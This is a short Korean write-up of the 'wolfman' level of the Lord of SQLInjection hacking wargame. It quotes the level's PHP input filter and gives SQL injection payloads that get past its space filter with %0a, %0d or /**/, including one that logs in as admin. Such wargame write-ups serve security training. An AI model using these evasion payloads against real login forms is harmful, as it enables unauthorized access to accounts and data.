본문 바로가기

Wargame(hacking)/LOS

LORD OF SQLINJECTION : wolfman

Write-Up

 

  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~");

 

위의 필터링에 의해 공백(%20)이 필터링된다. 그러므로 아래와 같이 %0a로 공백 필터링을 우회해 주었다. 

 

?pw=%27or%0a1=1%23

+plus
?pw=%27or/**/1=1%23
?pw=%27or%0d1=1%23

 

 

그림 1

 

 

?pw=1%27or%0aid%0alike%0a%27admin%27%23

 

 

그림 2